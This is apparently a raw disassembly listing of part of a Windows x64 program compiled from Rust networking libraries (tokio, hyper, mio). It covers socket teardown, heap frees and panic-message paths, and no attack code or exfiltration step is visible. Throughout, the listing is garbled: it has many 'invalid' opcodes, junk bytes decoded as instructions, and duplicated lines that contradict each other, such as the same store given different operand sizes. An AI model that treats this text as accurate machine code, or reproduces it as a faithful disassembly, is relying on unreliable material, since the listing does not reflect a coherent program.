mov r14, qword [rsi + 0x30]
test r14, r14
je 0x1400b7ed0
mov r13, qword [rsi + 0x38]
mov rcx, r14
call qword [r13]
cmp qword [r13 + 8], 0
or byte [rax], al
je 0x1400b7ed0
cmp qword [r13 + 0x10], 0x11
jb 0x1400b7ebe
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
jbe 0x1400b7eb6
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
nop
movsb byte [rdi], byte [rsi]
invalid
invalid
nop
movsb byte [rdi], byte [rsi]
add eax, 0x848b4800
add byte [rax - 0x75], cl
invalid
test byte [rax + rsi*8], ah
add byte [rax], al
mov rax, qword [rsp + 0xf0]
mov qword [rax], rbp
mov qword [rax + 8], r15
mov dword [rax + 8], edi
mov qword [rax + 0x10], rdi
add byte [rax - 0x77], cl
sub byte [rcx + rcx*4 + 0x78], cl
mov dword [rax + 8], edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], rbx
invalid
mov al, 1
mov byte [rsi + 0x378], al
add rsp, 0x2a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 8
or byte [rax], al
add byte [rax], al
call fcn.140107fe0
mov ecx, 1
mov edx, 0x11
call fcn.140107fc0
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401499d0]
mov edx, 0x28
sbb cl, byte [rcx]
add byte [rbp + rcx*4 + 5], cl
popfq
sbb cl, byte [rcx]
add byte [rdx + 0x28], bh
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140108880
invalid
invalid
xchg byte [rax], cl
add al, ch
invalid
add eax, 0x58d4800
add byte [rax], cl
or dword [rax], eax
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x130], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
mov qword [rsp + 0x130], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x120]
call fcn.140108280
invalid
invalid
invalid
add al, byte [0x1400d3892]
add byte [rax], al
mov ecx, 1
mov edx, 0xe
add byte [rax], al
call fcn.140107fc0
add byte [rcx + 1], bh
mov ecx, 1
mov edx, 0x19
call fcn.140107fc0
add eax, 0x1b900
add byte [rax], al
mov ecx, 1
mov edx, 0x14
call fcn.140107fc0
ud2
jmp qword [sym.imp.ws2_32.dll_closesocket]
lea esp, [rbp - 0x7eb7fffb]
rcr dword [rax - 0x17000000], 0x31
invalid
or dword [rax - 0x7d000000], 0x107403f8
test eax, eax
jne 0x1400b801a
mov rcx, qword [rcx + 0x30]
jmp qword [sym.imp.ws2_32.dll_closesocket]
movsd dword [rdi], dword [rsi]
add eax, 0x8348c300
rol dword [rax - 0x17], 0x7c
add eax, 0x81480000
add byte [rax - 0x7f], cl
ret
add byte [rax - 0x7f], cl
ror eax, 0
add byte [rax], al
jmp fcn.1400b85a0
sub rsp, 0x20
movzx eax, byte [rcx + 0x9f0]
cmp rax, 6
ja case.0x1400b8059.1
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
lea rcx, [0x140177f70]
dec dword [rbx]
add byte [rax + 0x63], cl
add al, 0x81
dec dword [rbx]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
cmp qword [rsi + 0xb0], 0
je 0x1400b807b
mov r8, qword [rsi + 0xa0]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
add byte [rax - 0x75], cl
or eax, 0xca1ed
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
in eax, 0xa2
invalid
invalid
in eax, 0xa2
add eax, 0x23e8300
cmp dword [rsi], 2
je case.0x1400b8059.1
mov rcx, rsi
call fcn.1400ec9d0
add rax, qword [r8]
add rax, qword [r8]
add byte [rax - 0x73], cl
or byte [rax - 0x7d], r9b
add byte ds:[rdi], cl
test byte [rdx + rax - 0x74b80000], ch
add eax, esi
lock dec qword [rax]
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x1400b8346
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b8354
call fcn.1400687d0
jmp 0x1400b8354
invalid
cmp dword [rsi + 0x9f8], 2
jne 0x1400b81ac
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
mov esi, 0xa08
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0xa00]
cmp qword [rsi + 0xa08], 0
je 0x1400b80de
mov r8, qword [rsi + 0xa00]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0xa10]
add byte [rax], al
test rdi, rdi
je 0x1400b81b8
mov rbx, qword [rsi + 0xa18]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
cmp dword [rbx + 8], 0
je 0x1400b81b8
cmp qword [rbx + 0x10], 0x11
jb 0x1400b8110
mov rdi, qword [rdi - 8]
clc
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, qword [0xfff88949d231000c]
adc eax, 0x5a23e
jmp 0x1400b81b8
cmp byte [rsi + 0xd70], 3
jne 0x1400b831c
lea rcx, [rsi + 0xbe8]
call fcn.1400b7fc0
dec dword [rbx + rcx*4 - 0x7a]
sbb byte [rdx], cl
add byte [rax], al
test r8, r8
je 0x1400b831c
test ah, cl
add dword [rax], eax
invalid
test ah, cl
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esi, 0xa20
and byte [rdx], cl
add byte [rax], al
cmp qword [rsi + 0xa20], 0
je 0x1400b8169
and byte [rdx], cl
add byte [rax], al
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x140182260]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0xa28]
test rdi, rdi
je 0x1400b831c
mov rbx, qword [rsi + 0xa30]
sahf
xor byte [rdx], cl
add byte [rax], al
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b831c
cmp qword [rbx + 0x10], 0x11
jb 0x1400b819b
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
jmp 0x1400b8316
invalid
add byte [rax - 0x73], cl
invalid
lea rcx, [rsi + 0x9f8]
call fcn.1400ad940
mov byte [rsi + 0x9f1], 0
lea rcx, [rsi + 0x950]
call fcn.1400ec9d0
lea rcx, [rsi + 0x958]
cmp qword [rsi + 0x950], 0
je 0x1400b81ec
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b81fa
call fcn.1400687d0
jmp 0x1400b81fa
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b81fa
call fcn.1400396d0
mov rax, qword [rsi + 0x998]
test rax, rax
invalid
je 0x1400b8210
sal byte [rdx + rcx + 0x48], 0x8b
mov fs, word [rax - 0xfffff7]
push rax
sbb byte [rax + 0x948be], al
add byte [rbx], al
mov rcx, qword [rsi + 0x9a0]
call qword [rax + 0x18]
cmp byte [rsi + 0x948], 3
jne 0x1400b8286
lea rcx, [rsi + 0x7c0]
call fcn.1400b7fc0
mov r8, qword [rsi + 0x5f0]
test r8, r8
je 0x1400b8286
cmp qword [rsi + 0x5f8], 0
je 0x1400b824a
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x600]
test rdi, rdi
je 0x1400b8286
mov rbx, qword [rsi + 0x608]
mov rcx, rdi
stc
stc
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b8286
cmp qword [rbx + 0x10], 0x11
jb 0x1400b8274
invalid
add al, 0x48
mov edi, dword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsi + 0x5c8], 3
jne 0x1400b82fc
lea rcx, [rsi + 0x440]
call fcn.1400b7fc0
mov r8, qword [rsi + 0x270]
test r8, r8
je 0x1400b82fc
cmp qword [rsi + 0x278], 0
je 0x1400b82c0
add byte [rdx], 0
add byte [rax - 0x7b], cl
push qword [rax + rsi + 0x48]
mov ebx, dword [rsi + 0x288]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b82fc
cmp qword [rbx + 0x10], 0x11
jb 0x1400b82ea
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x230], 0
je 0x1400b831c
mov r8, qword [rsi + 0x220]
mov eax, dword [rsi + 0x220]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 0x178
cmp qword [rsi + 0x188], 0
je case.0x1400b8059.1
mov r8, qword [rsi + rax]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rcx]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x1400b8354
call fcn.1400396d0
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x1400b8364
mov rcx, qword [rsi + 0x50]
push rax
call qword [rax + 0x18]
mov eax, 0x70
cmp qword [rsi + 0x80], 0
jne 0x1400b832b
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rdx, qword [rcx + 0x10]
mov r8, qword [rbx]
lea rbx, [rsp + 0x60]
mov rcx, rbx
mov r9b, 1
call fcn.1400e6e30
movzx eax, byte [rsp + 0x69]
cmp al, 3
jne 0x1400b8a69
mov byte [r13], 3
mov qword [rdi], 3
mov al, 3
jmp 0x1400b8d02
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x1400b8c60
call fcn.1400e43e0
jmp 0x1400b8c60
cmp al, 2
jne 0x1400b8a77
mov rbp, qword [rsp + 0x60]
jmp 0x1400b9101
mov rcx, qword [rsi + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x1400b9465
mov dword [rsp + 0x108], 0
mov dword [rsp + 0x60], 4
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x108]
mov edx, 0xffff
mov r8d, 0x1007
call qword [sym.imp.ws2_32.dll_getsockopt]
cmp eax, 0xffffffff
je 0x1400b90f1
movsxd rbp, dword [rsp + 0x108]
test rbp, rbp
jne 0x1400b90f9
mov rbx, qword [rsi + 0x40]
mov rbp, qword [rsi + 0x48]
mov rax, qword [rsi + 0x60]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [rsi + 0x50]
movaps xmmword [rsp + 0x180], xmm0
mov byte [rsi + 0x70], 1
cmp rbx, 3
je 0x1400b872f
jmp 0x1400b8cb9
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
lock dec qword [r13]
jne 0x1400b8c2e
mov rcx, r13
call fcn.140004fd0
mov r13, qword [rsp + 0xe8]
lea rcx, [rsp + 0x100]
cmp qword [rsp + 0xf8], 0
jne 0x1400b8a39
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x1400b8c60
call fcn.1400e4320
test r15, r15
je 0x1400b8ca6
lea rbx, [r15 + 8]
mov rcx, qword [r15 + 8]
call fcn.140047f20
mov rax, qword [r15]
lock dec qword [rax]
jne 0x1400b8c83
mov rcx, r15
call fcn.1400484b0
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x1400b8c94
mov rcx, rbx
call fcn.140005340
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r12
call qword [sym.imp.ws2_32.dll_closesocket]
mov byte [r13], 1
mov ebx, 2
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x170], rax
movaps xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x160], xmm0
mov rcx, r14
call fcn.1400b85a0
mov qword [rdi], rbx
mov qword [rdi + 8], rbp
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rdi + 0x10], xmm0
mov rax, qword [rsp + 0x170]
mov qword [rdi + 0x20], rax
mov al, 1
mov byte [rsi + 0x78], al
movaps xmm6, xmmword [rsp + 0x1d0]
add rsp, 0x1e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r12d, r12d
movzx eax, byte [rbp + 0x21]
test al, al
jne 0x1400b924e
mov qword [rsp + 0x150], rcx
mov byte [rsp + 0x158], r12b
mov rax, qword [rbp + 0x38]
test rax, rax
je 0x1400b8de4
xor eax, eax
xchg byte [rcx], al
cmp al, 2
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
jne 0x1400b8c1f
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x1400b8c1f
movzx eax, byte [0x140182310]
mov edx, 0x78
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b957f
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400b8fce
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lock inc qword [rbp]
jle 0x1400b93ad
lock inc qword [rbx]
jle 0x1400b93ad
lea r12, [rbp + 0x10]
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x78], 3
mov qword [rsp + 0x68], rbx
mov rcx, r12
mov rdx, rbx
call fcn.140047b50
movzx eax, byte [rbp + 0x68]
test al, al
je 0x1400b9060
mov rcx, r12
call fcn.140045e70
test rax, rax
je 0x1400b9060
mov rbp, rax
mov rcx, qword [rsp + 0x68]
call fcn.140047f20
mov rax, qword [rsp + 0x60]
lock dec qword [rax]
mov r14, qword [rsp + 0x58]
jne 0x1400b9042
lea rcx, [rsp + 0x60]
call fcn.1400484b0
mov rax, qword [rsp + 0x68]
lock dec qword [rax]
jne 0x1400b8c1a
lea rcx, [rsp + 0x68]
call fcn.140005340
jmp 0x1400b8c1a
lea rax, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1c0], xmm0
test rbx, rbx
mov r14, qword [rsp + 0x58]
je 0x1400b8c1a
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
mov rdx, qword [rsp + 0x50]
je 0x1400b95c5
mov qword [rax], rbx
mov qword [rax + 8], rbp
movaps xmm0, xmmword [rsp + 0x1c0]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [rsp + 0xf8]
lea rcx, [rsi + 0x40]
movups xmmword [rsi + 0x40], xmm0
mov qword [rsi + 0x50], r13
mov qword [rsi + 0x58], rdx
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], rcx
mov r13, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0x140]
jmp 0x1400b8706
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov ebp, eax
shl rbp, 0x20
or rbp, 2
lea rcx, [rsi + 0x40]
call fcn.1400ad940
jmp 0x1400b8caf
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b9281
add byte [rax], al
add byte [rax], al
mov r12, qword [rsp + 0x60]
cmp r12, rbx
lea rax, [rsp + 0x108]
jne 0x1400b8f01
int1
cld
invalid
invalid
int1
cld
invalid
jmp 0x1400b928f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400b8d83
mov rbx, rcx
mov ebx, ecx
call fcn.140110270
mov rcx, rbx
mov r12d, eax
xor r12b, 1
movzx eax, byte [rbp + 0x21]
and dword [rax + rax*8 - 0x4bb7bf1], eax
invalid
invalid
and dword [rax + rax*8 - 0x4bb7bf1], eax
invalid
mov qword [rsp + 0x60], rcx
mov byte [rsp + 0x68], r12b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013b180]
lea ecx, [0x14013b180]
lea ecx, [0x14013b180]
lea r8, [rsp + 0x60]
mov edx, 0x2b
call fcn.140108600
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
lea rax, [rsp + 0x108]
mov qword [rsp + 0x60], 0
xchg ebx, eax
add eax, 0x848d4800
and al, 8
add dword [rax], eax
add byte [rax - 0x39], cl
and al, 0x60
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x108], 0
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x38
ror byte [rdi], 0x11
and al, 0x38
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
sub byte [rax], cl
add byte [rax], al
add byte [rax - 0x75], cl
pop rsp
and al, 0x50
sub byte [rax], cl
add byte [rax], al
add byte [rax - 0x75], cl
pop rsp
and al, 0x50
mov rcx, rbx
mov edx, 0x4800001b
add byte [rax], al
xor r8d, r8d
add byte [rax], al
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b92f0
mov r12, qword [rsp + 0x60]
cmp r12, rbx
jne 0x1400b8f01
jmp 0x1400b92f6
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rbp, 0x20
or rbp, 2
mov rcx, qword [rsp + 0x138]
add al, dh
dec qword [rcx]
add al, dh
dec qword [rcx]
jne 0x1400b8c15
call fcn.140047c90
jmp 0x1400b8c15
int3
cld
invalid
mov byte [rbx + 0x11], 1
jmp 0x1400b8fc0
and dword [r9], eax
jmp 0x1400b8e25
invalid
dec dword [rdi]
or ecx, dword [rax - 0x73]
lea ecx, [0x14014c420]
ud2
lea ecx, [0x14014c420]
call fcn.1401085a0
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
xor eax, eax
mov byte [rsp + 0x60], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
add byte [rcx], dh
ror byte [rax + 0x48602444], 0x8d
adc eax, 0x92dce
lea rcx, [rsp + 0x60]
call fcn.14010da80
invalid
invalid
invalid
add eax, 0xd8d4800
sbb eax, 0x4c000933
lea eax, [0x14014c1b0]
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
mov edx, 0x68
add byte [rax], al
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_socket.rs
call fcn.140108880
mov al, 1
mov byte [rsp + 0x60], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
lea rcx, [rsp + 0x60]
call fcn.14010da80
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
call fcn.140108880
mov ecx, 0x80
mov edx, 0x100
add byte [rax], 0
add byte [rdx + 0x100], bh
call fcn.140107fe0
mov qword [rsp + 0x60], 0
lea rcx, [rbx + r12]
lea ecx, [rbx + riz]
lea ecx, [rbx + riz]
add rcx, 0x40
lea rdx, [rsp + 0x108]
lea r8, [rsp + 0x60]
call fcn.140111950
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140108690
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x1a0], rax
lea rax, [0x140048300]
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x150]
push rax
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff8ef49
push rax
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff8ef49
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x70], 2
mov qword [rsp + 0x80], 0
movabs rax, 0x400000020
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add dh, al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add dh, al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add ecx, dword [rax - 0x39]
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb8], 1
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rbx], al
test byte [rax + rax*8], ah
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rbx], al
lea rax, str.internal_error:_entered_unreachable_code:_Cannot_acquire_afd____afd_group:
mov qword [rsp + 0x108], rax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x110], 2
add byte [rax], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], 2
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x82196
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x82196
lea rcx, [rsp + 0x108]
add byte [rax], al
call fcn.140108280
mov ecx, 8
add byte [rax], al
add byte [rdx + 0x78], bh
add byte [rax], al
add byte [rdx + 0x78], bh
call fcn.140107fe0
add al, 0
mov r12, rcx
xor eax, eax
mov qword [rsp + 0x60], r12
mov byte [rsp + 0x68], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
or byte [rax], al
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013b1a0]
or eax, 0x81bea
lea r8, [rsp + 0x60]
mov edx, 0x2b
call fcn.140108600
mov ecx, 8
mov edx, 0x20
call fcn.140107fe0
xor al, 1
jmp 0x1400b9593
je 0x1400b9629
mov qword [rax], 1
lea rcx, [0x14013ce48]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x16
inc rax
add rsp, 0x30
pop rbp
ret
mov ecx, 8
mov edx, 0x18
add byte [rax], al
call fcn.140107fe0
ud2
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14013ce48]
mov ecx, 1
call fcn.1400dd460
nop
add rsp, 0x20
pop rbp
ret
mov eax, dword [rdx + 0x28]
lea rdx, [0x14014140c]
mov r8d, 7
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x30], al
and al, 0x30
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
xor dword [rax], eax
xor dword [rax], eax
lea r8, [0x140141418]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016790
cmc
dec dword [rax - 0x75]
and al, 0x20
cmc
dec dword [rax - 0x75]
and al, 0x20
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x1400b9729
mov al, 1
test dl, dl
jne 0x1400b972b
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
cmp ecx, 1
cmp ecx, 1
jne 0x1400b970f
cmp byte [rsp + 0x31], 0
je 0x1400b970f
test byte [rsi + 0x34], 4
jne 0x1400b970f
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
adc eax, 0x8a7c2
adc eax, 0x8a7c2
mov r8d, 1
call qword [rax + 0x18]
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
invalid
test cl, cl
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
invalid
test cl, cl
add dword [rcx + rcx*8 - 0x74b7e38b], eax
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x93d3a
or dword [rax], eax
jne 0x1400b972b
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
or dword [rax], eax
or dword [rax], eax
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
jmp 0x1400b972b
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ror byte [rdi], 0x95
ror byte [rax - 0x7d], 0xc4
add rsp, 0x40
pop rsi
ret
movabs rax, 0xddf738e965f2ac3d
movabs rdx, 0xf9ca84e492ab9d86
ret
int3
movzx eax, byte [rcx + 0x268]
add byte [rax], al
test eax, eax
je 0x1400b9785
cmp eax, 3
je 0x1400b978f
cmp eax, 4
jne 0x1400b97fe
invalid
add byte [rax - 0x7f], cl
sal dword [rax + 2], 0
add byte [rax - 0x7d], cl
invalid
add rsp, 0x20
pop rsi
jmp 0x1400ad6e0
lea rax, [rcx + 0x270]
mov rsi, rcx
mov rcx, rax
call 0x1400ad6e0
dec dword [rax - 0x73]
mov cs, eax
add al, 0
add al, ch
and esi, dword [rdx]
add eax, dword [rax]
add al, 0
add al, ch
and esi, dword [rdx]
add eax, dword [rax]
mov rax, rsi
lea rcx, [rsi + 0x4d0]
cmp qword [rsi + 0x4c8], 0
mov esi, 0x4c8
invalid
je 0x1400b97d1
invalid
mov esi, 0x4c8
enter 4, 0
add byte [rax + rdx + 0x48], dh
mov edx, dword [rcx]
mov rdx, qword [rcx]
lock dec qword [rdx]
dec qword [rdx]
jne 0x1400b97e2
call fcn.1400687d0
jmp 0x1400b97df
invalid
invalid
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400b97e2
call fcn.1400396d0
int1
invalid
mov rax, rsi
mov rdx, qword [rax + 0x510]
test rdx, rdx
je 0x1400b97fe
mov rcx, qword [rax + 0x518]
add rsp, 0x20
pop rsi
jmp qword [rdx + 0x18]
invalid
sbb byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rsi
ret
int3
int3
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5d8
movdqa xmmword [rsp + 0x5c0], xmm6
jg 0x1400b97db
and al, 0xc0
add eax, 0x894c0000
ret
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x268]
lea rcx, [0x140177f8c]
or eax, dword [rax]
jg 0x1400b97db
and al, 0xc0
add eax, 0x894c0000
ret
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x368]
mov r8d, 0x258
mov eax, 0x258
mov word [rax + rbp*2], fs
add eax, dword [rax]
add byte [rcx - 0x48], al
mov eax, 0x258
mov rdx, rdi
mov eax, 0x258
mov rdx, rdi
call fcn.140106250
mov ebp, dword [rdi + 0x260]
cmp ebp, 0x3b9aca00
jne 0x1400b98dd
add al, byte [rax]
